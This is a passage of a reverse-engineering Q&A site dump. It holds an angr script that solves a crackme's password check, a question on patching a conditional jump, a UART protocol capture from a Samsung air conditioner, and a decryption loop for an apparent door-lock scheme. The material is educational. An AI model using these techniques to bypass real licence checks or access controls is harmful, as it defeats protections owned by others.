  <row Id="25781" PostTypeId="2" ParentId="25778" CreationDate="2020-08-29T21:54:23.607" Score="1" Body="&lt;p&gt;you can add some print address of variable debug aid in your source to get a grip of these addresses&lt;/p&gt;&#xA;&lt;p&gt;see the disassembly of line no 5 in the paste below&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main (void) {&#xA;    char * q;&#xA;    q = &amp;quot;/&amp;quot;;&#xA;    printf(&amp;quot;%p\n&amp;quot;,&amp;amp;q);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;disassembly&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;slashaddr!main:&#xA;    3 01141000 55              push    ebp&#xA;    3 01141001 8bec            mov     ebp,esp&#xA;    3 01141003 51              push    ecx&#xA;    5 01141004 c745fc90011801  mov     dword ptr [ebp-4], (01180190)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-08-29T21:54:23.607" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25782" PostTypeId="2" ParentId="25775" CreationDate="2020-08-30T21:36:39.860" Score="0" Body="&lt;p&gt;Looks like full bitfield support for the decompiler is slated for a future release according to a comment on Ghidra's github issues: &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/1059#issuecomment-534651905&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitfields don't seem to decompile very well #1059&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2020-08-30T21:36:39.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25783" PostTypeId="2" ParentId="25738" CreationDate="2020-08-31T00:49:43.457" Score="1" Body="&lt;p&gt;Looking at your solution, and your spoiler of the intended flag, it looks like you are halfway there (literally).&lt;/p&gt;&#xA;&lt;p&gt;angr is solving every other character and matching half of the flag, as if the flag is being treaded as a wide character string/utf16.  I modified your script slightly to have a 20 character string, with every other byte null, ending in a newline, and angr successfully found the flag.&lt;/p&gt;&#xA;&lt;p&gt;There are lots of other ways to do this with Angr, but this seemed close to how you were originally using it.&lt;/p&gt;&#xA;&lt;p&gt;Modified Angr script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;import claripy&#xA;&#xA;strlen = 20&#xA;base_addr = 0x00000000&#xA;&#xA;flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(strlen)]&#xA;flag = claripy.Concat(*flag_chars)&#xA;&#xA;proj = angr.Project(&amp;quot;./d4rkfl0w-Crackme-4&amp;quot;, main_opts={'base_addr': base_addr})&#xA;state = proj.factory.full_init_state(args=[&amp;quot;./d4rkfl0w-Crackme-4&amp;quot;], add_options=angr.options.unicorn, stdin=flag)&#xA;# The script functions the same with or without this&#xA;# Presumably symbolic stdin handles storing the flag &#xA;# in memory for us&#xA;# state.memory.store(state.regs.rbp-0x8, flag)&#xA;&#xA;# It seems like the program is reading in widechars/utf16&#xA;# this code will constrain every other byte to be printable, &#xA;# with zero bytes in between&#xA;zero_char = False&#xA;for k in flag_chars[:-2]:&#xA;    if not zero_char:&#xA;        state.solver.add(k &amp;gt; 0x20)&#xA;        state.solver.add(k &amp;lt; 0x7e)&#xA;    else:&#xA;        state.solver.add(k == 0x0)&#xA;    zero_char = not zero_char&#xA;&#xA;# Flag ends in widechar newline (not strictly needed)&#xA;state.solver.add(flag_chars[-2] == 0xa)&#xA;state.solver.add(flag_chars[-1] == 0x00)&#xA;&#xA;sm = proj.factory.simulation_manager(state)&#xA;sm.run()&#xA;&#xA;for de in sm.deadended:&#xA;    print(de.posix.dumps(0), de.posix.dumps(1))&#xA;    print(&amp;quot;UTF16 flag: %s&amp;quot; % str(de.posix.dumps(0), encoding='utf=16'))&#xA;~                                                                        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Truncated Output:&lt;/p&gt;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;&lt;p&gt;    b'U\x006\x00-\x00:\x00Y\x00L\x00.\x00!\x00+\x00\n\x00' b'\nPlease enter the password: \nSorry that is incorrect.\n'&#xA;    UTF16 flag: U6-:YL.!+&lt;br /&gt;&#xA;    b'U\x006\x00-\x00:\x00Y\x00L\x00.\x00&amp;quot;\x00+\x00\n\x00' b&amp;quot;\nPlease enter the password: \nThat's CORRECT, Well Done.\n&amp;quot;&#xA;     UTF16 flag: U6-:YL.&amp;quot;+&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="283" LastActivityDate="2020-08-31T00:49:43.457" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25785" PostTypeId="1" CreationDate="2020-08-31T18:31:47.757" Score="0" ViewCount="222" Body="&lt;p&gt;I am new to forum and new to programming (total noob).&lt;/p&gt;&#xA;&lt;p&gt;I am trying to modify a program using ollydbg and x32dbg and while attached to file I make the changes fine and it does what I expected.&lt;/p&gt;&#xA;&lt;p&gt;My problem is saving the changes to file or patching in x32dbg does not work.&#xA;The second I make changes and save/patch I then rename original and move patched version into place and try to run the problems start.&lt;/p&gt;&#xA;&lt;p&gt;First Windows 10 stops the file from running and at same time my malware and virus protection quarantines the file.&#xA;I know ollydgb and x32dbg are safe as I have used them before and my system is clean.&lt;/p&gt;&#xA;&lt;p&gt;So is it because I did not disassemble the program first?&#xA;Or could the program have some sort of code that detected the changes made and then kills the program?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&#xA;Gren&lt;/p&gt;&#xA;" OwnerUserId="34278" LastActivityDate="2020-09-03T05:13:19.407" Title="je change to jne and program issue" Tags="|patching|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25786" PostTypeId="1" CreationDate="2020-08-31T22:19:29.133" Score="2" ViewCount="1039" Body="&lt;p&gt;I'm objective is to build a custom wifi module to be used on a Samsung AC AR24HSFSAWKN. I have such an official module &lt;a href=&quot;https://fccid.io/A3LSWL-B70F/User-Manual/User-Manual-2022182&quot; rel=&quot;nofollow noreferrer&quot;&gt;SWL-B70F&lt;/a&gt; for which I'm trying to reverse engineer the communication with the main AC board. It's just for the challenge and my first attempt on such hack.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.manualslib.com/manual/836715/Samsung-Ar09hsfshwkncv.html?page=84#manual&quot; rel=&quot;nofollow noreferrer&quot;&gt;AC manual&lt;/a&gt; I have identified the following pinout:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CN51 - WI-FI MODULE&#xA;#1 : WIFI UART SIGNAL1&#xA;#2 : WIFI UART SIGNAL2&#xA;#3 : WIFI RESET SIGNAL&#xA;#4 : GND&#xA;#5 : DC 12V&#xA;#6 : N.C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once module was disassembled, I found inside an arm board and a second one which I identified to be a step-down regulator (12V -&amp;gt; 5V). On the regulator board, I've hooked some wires to the UART lines + GND to 2 ftdi cables on their RX pin, so I can dump the frames in both directions. I've booted the device several times with different &lt;code&gt;tty&lt;/code&gt; baud rates. I think 9600 bauds is the right one as other did not gave nice patterns. Now I end with the exchanges bellow. I found some common patterns. I suppose frames start with &lt;code&gt;d0&lt;/code&gt; (or &lt;code&gt;d0c002&lt;/code&gt;) and ends with &lt;code&gt;e0&lt;/code&gt;. There seems to have a message counter, a fixed separator, a payload, and a checksum: &lt;code&gt;&amp;lt;start&amp;gt; &amp;lt;????&amp;gt; &amp;lt;counter&amp;gt; &amp;lt;sep?&amp;gt; &amp;lt;payload&amp;gt; &amp;lt;CheckSum8 Xor&amp;gt; &amp;lt;end&amp;gt;&lt;/code&gt;. When a message is sent, a similar message is sent on the other line, probably a &lt;code&gt;ack&lt;/code&gt; message.&lt;/p&gt;&#xA;&lt;p&gt;I can send xml commands via the actual wifi module. As a test, I send a &lt;code&gt;OFF&lt;/code&gt; command, wich resulted in the following exchanges:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;OFF&lt;/code&gt; Command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# try 1&#xA;-&amp;gt; d0c002 12 000000000038 fe 1204060201f074010f 5f e0&#xA;&amp;lt;- d0c002 12 000000000038 fe 1205060201f074010f 5e e0&#xA;&#xA;# try 2&#xA;-&amp;gt; d0c002 12 000000000047 fe 1204060201f074010f 20 e0&#xA;&amp;lt;- d0c002 12 000000000047 fe 1205060201f074010f 21 e0&#xA;&#xA;# try 3&#xA;-&amp;gt; d0c002 12 000000000058 fe 1204060201f074010f 3f e0&#xA;&amp;lt;- d0c002 12 000000000058 fe 1205060201f074010f 3e e0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another possible command is to get &lt;code&gt;DeviceState&lt;/code&gt;, which return the following XML (but did not triggered any exchange with main board, I suppose the values are stored in the wifi module upon initialization):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot; ?&amp;gt; &#xA;&amp;lt;Response Type=&amp;quot;DeviceState&amp;quot; Status=&amp;quot;Okay&amp;quot;&amp;gt; &#xA;  &amp;lt;DeviceState&amp;gt; &#xA;    &amp;lt;Device DUID=&amp;quot;F8042ED83EA0&amp;quot; GroupID=&amp;quot;AC&amp;quot; ModelID=&amp;quot;AC&amp;quot; &amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_ENABLE&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;Enable&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_POWER&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;Off&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_OPMODE&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;Auto&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_TEMPSET&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;21&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_COMODE&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;Off&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_ERROR&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;NULL&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_TEMPNOW&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;23&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_SLEEP&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;0&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_WINDLEVEL&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;Auto&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_DIRECTION&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;Fixed&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD_AUTOCLEAN&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;Off&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD_SETKWH&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;255&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD_CLEAR_FILTER_ALARM&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;240&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD_APMODE_END&amp;quot; Type=&amp;quot;W&amp;quot; Value=&amp;quot;0&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD_STARTWPS&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;Default&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD_SPI&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;Off&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_OUTDOOR_TEMP&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;71&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_COOL_CAPABILITY&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;68&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_WARM_CAPABILITY&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;80&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_SG_WIFI&amp;quot; Type=&amp;quot;W&amp;quot; Value=&amp;quot;Connected&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_SG_INTERNET&amp;quot; Type=&amp;quot;W&amp;quot; Value=&amp;quot;Disconnected&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD2_USEDWATT&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;65024&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD2_VERSION&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;65024&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_SG_MACHIGH&amp;quot; Type=&amp;quot;W&amp;quot; Value=&amp;quot;216&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_SG_MACMID&amp;quot; Type=&amp;quot;W&amp;quot; Value=&amp;quot;62&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_SG_MACLOW&amp;quot; Type=&amp;quot;W&amp;quot; Value=&amp;quot;160&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_SG_VENDER01&amp;quot; Type=&amp;quot;W&amp;quot; Value=&amp;quot;248&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_SG_VENDER02&amp;quot; Type=&amp;quot;W&amp;quot; Value=&amp;quot;4&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_SG_VENDER03&amp;quot; Type=&amp;quot;W&amp;quot; Value=&amp;quot;46&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD2_PANEL_VERSION&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;150224&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD2_OUT_VERSION&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;1246985&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_FUN_MODEL&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;5&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD2_OPTIONCODE&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;53432&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD2_USEDPOWER&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;58933&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD2_USEDTIME&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;265675&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD2_CLEAR_POWERTIME&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;254&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD2_FILTERTIME&amp;quot; Type=&amp;quot;RW&amp;quot; Value=&amp;quot;500&amp;quot;/&amp;gt; &#xA;      &amp;lt;Attr ID=&amp;quot;AC_ADD2_FILTER_USE_TIME&amp;quot; Type=&amp;quot;R&amp;quot; Value=&amp;quot;10000&amp;quot;/&amp;gt; &#xA;    &amp;lt;/Device&amp;gt; &#xA;  &amp;lt;/DeviceState&amp;gt; &#xA;&amp;lt;/Response&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some values are present in the boot log, such as &lt;code&gt;AC_ADD2_USEDTIME&lt;/code&gt;, &lt;code&gt;AC_ADD2_OPTIONCODE&lt;/code&gt;, &lt;code&gt;AC_ADD2_USEDPOWER&lt;/code&gt;, &lt;code&gt;AC_ADD2_FILTER_USE_TIME&lt;/code&gt; =&amp;gt;&#xA;&lt;code&gt;d0c002 39 000000000009 fe 14032d3201fef601fef403150224f303130709f501053902 d0b8(AC_ADD2_OPTIONCODE) e0040000 e635 e404000 40dcb(AC_ADD2_USEDPOWER) e801fee90103e602 2710(AC_ADD2_FILTER_USE_TIME) 93 e0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The frame may be split as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;14032d3201fef601fef403150224f303130709f50105&#xA;3902 d0b8 &#xA;e004 0000e635 &#xA;e404 00040dcb&#xA;e801 fee90103&#xA;e602 2710&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;e004&lt;/code&gt;, &lt;code&gt;e404&lt;/code&gt;, &lt;code&gt;e602&lt;/code&gt; could probably be some field header?&lt;/p&gt;&#xA;&lt;p&gt;The checksum is &lt;code&gt;CheckSum8 Xor&lt;/code&gt; of the first bytes: &lt;code&gt;d0c00212000000000047fe1204060201f074010f&lt;/code&gt; -&amp;gt; &lt;code&gt;20&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also the first exchange (&lt;code&gt;0000&lt;/code&gt; / &lt;code&gt;00fc&lt;/code&gt;) never showed again, so it should be some sort of handshake.&lt;/p&gt;&#xA;&lt;p&gt;Next I'll try to remove the wifi module, and replay the communication with it, simulating the AC.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are my methodology and assumptions valid?&lt;/li&gt;&#xA;&lt;li&gt;What could be the second field in the frame (unique values seems to be &lt;code&gt;0f 12 18 1c 1e 22 30&lt;/code&gt;)?&lt;/li&gt;&#xA;&lt;li&gt;Am I splitting the frames correctly?&lt;/li&gt;&#xA;&lt;li&gt;Do you have some advises on how to decode the remaining messages and reverse the full protocol?&lt;/li&gt;&#xA;&lt;li&gt;Does it looks like something known elsewhere?&lt;/li&gt;&#xA;&lt;li&gt;Any other tip :)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The full boot log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#-&amp;gt; WIFI TO AC&#xA;#&amp;lt;- AC TO WIFI&#xA;&#xA;-&amp;gt; 00fc&#xA;&amp;lt;- 0000&#xA;-&amp;gt; d0c002 12 000000000000 fe 12040601010f7401f0 64 e0&#xA;&amp;lt;- d0c002 12 000000000000 fe 12050601010f7401f0 65 e0&#xA;-&amp;gt; d0c002 18 000000000001 fe 14040c170115180105190127fd0102 37 e0&#xA;&amp;lt;- d0c002 18 000000000001 fe 14050c170115180105190127fd0102 36 e0&#xA;-&amp;gt; d0c002 1e 000000000002 fe 140412fa01f8fb0104fc012ef701d8f8013ef901a0 6d e0&#xA;&amp;lt;- d0c002 1e 000000000002 fe 140512fa01f8fb0104fc012ef701d8f8013ef901a0 6c e0&#xA;-&amp;gt; d0c002 18 000000000003 fe 14040c170115180105190127fd0102 35 e0&#xA;&amp;lt;- d0c002 18 000000000003 fe 14050c170115180105190127fd0102 34 e0&#xA;-&amp;gt; d0c002 1e 000000000004 fe 140412fa01f8fb0104fc012ef701d8f8013ef901a0 6b e0&#xA;&amp;lt;- d0c002 1e 000000000004 fe 140512fa01f8fb0104fc012ef701d8f8013ef901a0 6a e0&#xA;-&amp;gt; d0c002 18 000000000005 fe 14040c170115180105190127fd0102 33 e0&#xA;&amp;lt;- d0c002 18 000000000005 fe 14050c170115180105190127fd0102 32 e0&#xA;-&amp;gt; d0c002 1e 000000000006 fe 140412fa01f8fb0104fc012ef701d8f8013ef901a0 69 e0&#xA;&amp;lt;- d0c002 1e 000000000006 fe 140512fa01f8fb0104fc012ef701d8f8013ef901a0 68 e0&#xA;-&amp;gt; d0c002 30 000000000006 fe 1207240201f04101324301e24401126201006301c2ea01fe5a01155c0117730100f70400000000 ce e0&#xA;&amp;lt;- d0c002 30 000000000006 fe 1206240201f04101324301e24401126201006301c2ea01fe5a01155c0117730100f70400000000 cf e0&#xA;-&amp;gt; d0c002 1c 000000000008 fe 13021032004000440043007500760077007800 80 e0&#xA;&amp;lt;- d0c002 26 000000000008 fe 13031a3201234001ff4401f043010f7501f07601497702004478020050 3f e0&#xA;-&amp;gt; d0c002 22 000000000009 fe 1402163200f600f400f300f5003900 e000e400e800e900e600 2b e0&#xA;&amp;lt;- d0c002 39 000000000009 fe 14032d3201fef601fef403150224f303130709f501053902d0b8e0040000e635e40400040dcbe801fee90103e6022710 93 e0&#xA;-&amp;gt; d0c002 0f 00000000000a fe 14040337010f c3 e0&#xA;&amp;lt;- d0c002 0f 00000000000a fe 14050337010f c2 e0&#xA;-&amp;gt; d0c002 18 00000000000b fe 14040c170115180105190127fd0102 3d e0&#xA;&amp;lt;- d0c002 18 00000000000b fe 14050c170115180105190127fd0102 3c e0&#xA;-&amp;gt; d0c002 22 00000000000c fe 1402163200f600f400f300f5003900 e000e400e800e900e600 2e e0&#xA;&amp;lt;- d0c002 39 00000000000c fe 14032d3201fef601fef403150224f303130709f501053902d0b8e0040000e635e40400040dcbe801fee90103e6022710 96 e0&#xA;-&amp;gt; d0c002 1e 00000000000d fe 140412fa01f8fb0104fc012ef701d8f8013ef901a0 62 e0&#xA;&amp;lt;- d0c002 1e 00000000000d fe 140512fa01f8fb0104fc012ef701d8f8013ef901a0 63 e0&#xA;-&amp;gt; d0c002 0f 00000000000e fe 1404033801f0 37 e0&#xA;&amp;lt;- d0c002 0f 00000000000e fe 1405033801f0 36 e0&#xA;-&amp;gt; d0c002 0f 00000000000f fe 14040337010f c6 e0&#xA;&amp;lt;- d0c002 0f 00000000000f fe 14050337010f c7 e0&#xA;-&amp;gt; d0c002 0f 000000000010 fe 14040337010f d9 e0&#xA;&amp;lt;- d0c002 0f 000000000010 fe 14050337010f d8 e0&#xA;-&amp;gt; d0c002 18 000000000011 fe 14040c170115180105190127fd0102 27 e0&#xA;&amp;lt;- d0c002 18 000000000011 fe 14050c170115180105190127fd0102 26 e0&#xA;-&amp;gt; d0c002 1e 000000000012 fe 140412fa01f8fb0104fc012ef701d8f8013ef901a0 7d e0&#xA;&amp;lt;- d0c002 1e 000000000012 fe 140512fa01f8fb0104fc012ef701d8f8013ef901a0 7c e0&#xA;-&amp;gt; d0c002 0f 000000000013 fe 1404033801f0 2a e0&#xA;&amp;lt;- d0c002 0f 000000000013 fe 1405033801f0 2b e0&#xA;-&amp;gt; d0c002 0f 000000000014 fe 14040337010f dd e0&#xA;&amp;lt;- d0c002 0f 000000000014 fe 14050337010f dc e0&#xA;-&amp;gt; d0c002 0f 000000000015 fe 1404033801f0 2c e0&#xA;&amp;lt;- d0c002 0f 000000000015 fe 1405033801f0 2d e0&#xA;-&amp;gt; d0c002 0f 000000000016 fe 14040337010f df e0&#xA;&amp;lt;- d0c002 0f 000000000016 fe 14050337010f de e0&#xA;-&amp;gt; d0c002 0f 000000000017 fe 1404033801f0 2e e0&#xA;&amp;lt;- d0c002 0f 000000000017 fe 1405033801f0 2f e0&#xA;-&amp;gt; d0c002 0f 000000000018 fe 14040337010f d1 e0&#xA;&amp;lt;- d0c002 0f 000000000018 fe 14050337010f d0 e0&#xA;-&amp;gt; d0c002 0f 000000000019 fe 1404033801f0 20 e0&#xA;&amp;lt;- d0c002 0f 000000000019 fe 1405033801f0 21 e0&#xA;-&amp;gt; d0c002 0f 00000000001a fe 14040337010f d3 e0&#xA;&amp;lt;- d0c002 0f 00000000001a fe 14050337010f d2 e0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z7kNz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z7kNz.jpg&quot; alt=&quot;Wifi Module ARM Board&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZJqSL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZJqSL.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34279" LastEditorUserId="34279" LastEditDate="2020-08-31T22:49:50.167" LastActivityDate="2023-03-02T16:48:00.250" Title="Reverse UART communication protocol" Tags="|hardware|serial-communication|protocol|packet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25787" PostTypeId="1" CreationDate="2020-08-31T23:10:04.023" Score="0" ViewCount="140" Body="&lt;p&gt;I'm a newbye, so sorry for the basic questions, before anyone downvote the question.&lt;/p&gt;&#xA;&lt;p&gt;I'm Learning reverse engineering, I've already learned assembly for mips on the computer science underdegree and I know the basic about computer architeture.&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to make a macro bot for doing simple tasks on a unity game called pokemon trading card game online. It seens it ways built on unity 2018.4.11.&lt;/p&gt;&#xA;&lt;p&gt;I know I have to find the functions that call what I want, but don't know how to do it and what to do after this. The tutorials are very confusing on this area.&lt;/p&gt;&#xA;&lt;p&gt;So being objective, can anyone help me what I have to search and what I have to do with what I found, like, if I'm trying to find the function that calls the button to start a play, how can I call it after I found it?&lt;/p&gt;&#xA;&lt;p&gt;Thank you very much?&lt;/p&gt;&#xA;" OwnerUserId="34280" LastActivityDate="2020-08-31T23:10:04.023" Title="What's the way to find a function on a unity game and how I call it after I find?" Tags="|function-hooking|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25789" PostTypeId="1" CreationDate="2020-09-01T00:20:27.217" Score="0" ViewCount="177" Body="&lt;p&gt;I have the source code of an old program written in 32-bit x86 assembler that I am working on manually rewriting in C.&lt;/p&gt;&#xA;&lt;p&gt;The first time someone asked me about this project I told them I was 'reverse engineering' this code. But I thought to myself afterwards, am I really doing any reverse engineering here? even if I have the source code? and even if its in x86? and commented somewhat?&lt;/p&gt;&#xA;&lt;p&gt;I mean I am still using the same re tools to help me navigate and understand this thing but even so, is 'reverse engineering' the right thing to say?&lt;/p&gt;&#xA;&lt;p&gt;I am perhaps overthinking this but in any case, what would you call it?&lt;/p&gt;&#xA;" OwnerUserId="24439" LastActivityDate="2020-09-11T04:16:45.157" Title="Is manually converting/decompiling x86 source code to C/C++/etc... considered reverse engineering?" Tags="|x86|decompilation|static-analysis|ghidra|dynamic-analysis|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25790" PostTypeId="2" ParentId="25760" CreationDate="2020-09-01T02:29:45.750" Score="2" Body="&lt;p&gt;With a 256-byte table &lt;code&gt;dscrc_table&lt;/code&gt; declared, the decryption loop is a one-liner:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  for( int i = 0; i &amp;lt; vNewByteArrayLen; ++i )&#xA;    vNewByteArrayElts[i] ^= a4KeyByte ^ dscrc_table[vNewByteArrayLen];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/RolfRolles/5b9268860f98b0e8d0975274b079e518&quot; rel=&quot;nofollow noreferrer&quot;&gt;See my gist on GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Edit: is this thing really being used to protect your door from being opened by unauthorized people? Throw it away!&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2020-09-01T03:12:16.503" LastActivityDate="2020-09-01T03:12:16.503" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="25794" PostTypeId="1" CreationDate="2020-09-01T13:32:36.053" Score="-1" ViewCount="213" Body="&lt;p&gt;I have ASM code of some Windows *.exe in IDA:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov     rax, [rbx+10h]&#xA;mov     ecx, edx&#xA;xor     edx, edx&#xA;xchg    rdx, [rax+rcx*8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which is decompiled to pseudocode to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;_RAX = this-&amp;gt;m_someMemoryPool;&#xA;_RCX = v4;&#xA;_RDX = 0i64;&#xA;__asm { xchg    rdx, [rax+rcx*8] }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If there won't be any memory barries, code would look like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void* _RDX = m_someMemoryPool[v4];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I'm wondering, what does &lt;code&gt;xchg&lt;/code&gt; means here. Is it equivalent 